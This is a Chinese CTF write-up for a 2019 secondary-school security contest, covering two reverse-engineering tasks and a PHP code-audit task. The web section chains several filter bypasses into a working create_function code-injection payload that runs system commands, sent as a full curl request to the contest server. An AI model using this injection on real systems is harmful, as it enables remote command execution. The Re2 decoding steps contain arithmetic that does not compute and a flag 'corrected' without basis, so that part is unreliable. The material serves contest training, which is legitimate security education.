(原创)2019 年 “北邮网安杯” 第二届全国中学生网络安全技术大赛解题报告
一、RE(逆向工程)模块
1. Re1:simple check-in!
解题思路
本题为基础逆向题,核心是通过工具识别文件类型,再用 IDA 反编译提取硬编码的 flag。
操作步骤
文件类型识别:
将目标文件拖入PeiD工具,查看文件架构(32 位 / 64 位),确定后续 IDA 的版本选择:
IDA 反编译提取 flag:
将文件拖入对应版本的 IDA,定位到主函数后,按R键将数值转换为 ASCII 字符串,直接得到 flag:
2. Re2
解题思路
本题存在自加密代码
操作步骤
文件类型识别:
同 Re1,用PeiD确认文件类型,选择对应 IDA 版本。
解密自加密代码:
拖入 IDA 后,定位到sub_401000函数,发现代码存在自加密,通过 IDA 的动态调试或静态分析解密代码,得到完整的加密逻辑(核心为字符偏移校验)。
提取参考字符串(加密后的 flag):
从解密后的代码中,提取预定义的字符 ASCII 值数组(v5至v33),对应的 ASCII 值如下:
v = [79,72,67,71,123,74,98,106,95,52,103,102,95,101,66,103,95,121,54,95,114,97,112,101,108,99,103,125]
将其转换为字符串:
s = ''
for i in v:
s += chr(i)
print(s) # 输出:OHCG{Jbj_4gf_eBg_y6_rapelcg}
分析加密算法并还原 flag:
代码中加密逻辑为凯撒变体偏移:
还原步骤:
小写字母:v3 = (v2 - 84) % 26 + 97(偏移 13 位,ROT13)
大写字母:v3 = (v2 - 52) % 26 + 65(偏移 13 位,ROT13)
数字:v3 = (v2 - 35) % 10 + 48(偏移 3 位,需反向偏移 3 位)
字母部分:对OHCG{Jbj_4gf_eBg_y6_rapelcg}执行 ROT13 解码,得到BUPI{Wow_4ts_rOt_l6_encryp};
数字部分:将数字4反向偏移 3 位(4 + 3 = 7?不,原加密为(v2 - 35) %10,还原需(v2 - 48 + 3) %10 +48):
4 → (4 - 48 + 3) %10 +48 = 1
6 → (6 - 48 + 3) %10 +48 = 3
最终还原:BUPT{Wow_1ts_rOt_l3_encrypt}(修正BUPI为BUPT,符合赛事 flag 格式)。
二、WEB 模块
题目:easy php(PHP is the best language!)
考点总结
本题为 PHP 代码审计题,涵盖 6 个核心考点:
$_REQUEST变量覆盖特性;
URL 编码绕过正则;
PHP 数组特性与正则绕过;
file_get_contents函数的data://伪协议绕过;
create_function代码注入;
多行匹配与字符串校验绕过。
解题步骤
步骤 1:搭建本地测试环境
为避免远程调试误差,本地搭建 PHP 环境,将题目代码部署后逐步测试,通过die输出调试信息,定位绕过点:
步骤 2:绕过$_REQUEST字母校验
题目代码:
if($_REQUEST) {
foreach($_REQUEST as $key=>$value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('111');
}
}
绕过原理:$_REQUEST优先获取POST参数,若GET和POST存在同名参数,仅保留POST值;
操作:GET传参带字母(如bupt=buptisfun),POST传参为纯数字(如bupt=123),绕过字母校验。
步骤 3:绕过$_SERVER['QUERY_STRING']关键词过滤
题目代码:
if($_SERVER) {
if (preg_match('/flag|liupi|bupt/i', $_SERVER['QUERY_STRING']))
die('222');
}
绕过原理:对关键词进行 URL 编码,避免正则匹配;
操作:将bupt编码为%62%75%70%74,flag编码为%66%6c%61%67(本题暂无需flag关键词)。
步骤 4:绕过bupt参数的正则与值校验
题目代码:
if (preg_match('/^buptisfun$/', $_GET['bupt']) && $_GET['bupt'] !== 'buptisfun') {
$ia = $_GET["ia"];
}
绕过原理:preg_match默认不匹配换行符,用%0a(URL 编码后的换行符)破坏完全匹配;
操作:GET传参bupt=buptisfun%0a,满足/^buptisfun$/(%0a被忽略)且buptisfun%0a !== buptisfun。
步骤 5:绕过file_get_contents文件读取校验
题目代码:
$ia = "index.php";
if(file_get_contents($ia)!== 'buptisfun') {
die('333');
}
绕过原理:使用data://伪协议直接传入字符串,无需读取实际文件;
操作:GET传参ia=data://,%62%75%70%74%69%73%66%75%6e(%62%75%70%74%69%73%66%75%6e为buptisfun的 URL 编码)。
步骤 6:create_function代码注入获取 shell
题目代码:
if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
die('444');
} else {
$action('', $arg);
}
绕过原理:create_function存在代码注入漏洞,构造action参数闭合函数定义,注入系统命令;
操作:
构造action=\create_function(\转义第一个',闭合函数参数);
构造arg=return 123;\}system('ls');//(\}闭合函数体,注入system('ls'),//注释后续代码)。
步骤 7:最终 Payload 与执行
使用curl工具发送请求(结合GET和POST参数):
curl "https://ctf8081.bupt.edu.cn/?%62%75%70%74=%62%75%70%74%69%73%66%75%6e%0a&ia=data://,%62%75%70%74%69%73%66%75%6e&%6c%69%75%70%69[]=&%66%6c%61%67[action]=\\\\create_function&%66%6c%61%67[arg]=return%20123;\\}system('ls');//" -d "bupt=123&ia=123&arg=123"
执行结果:
步骤 8:获取 flag
通过注入的system('cat flag.php')等命令,读取 flag 文件,最终得到: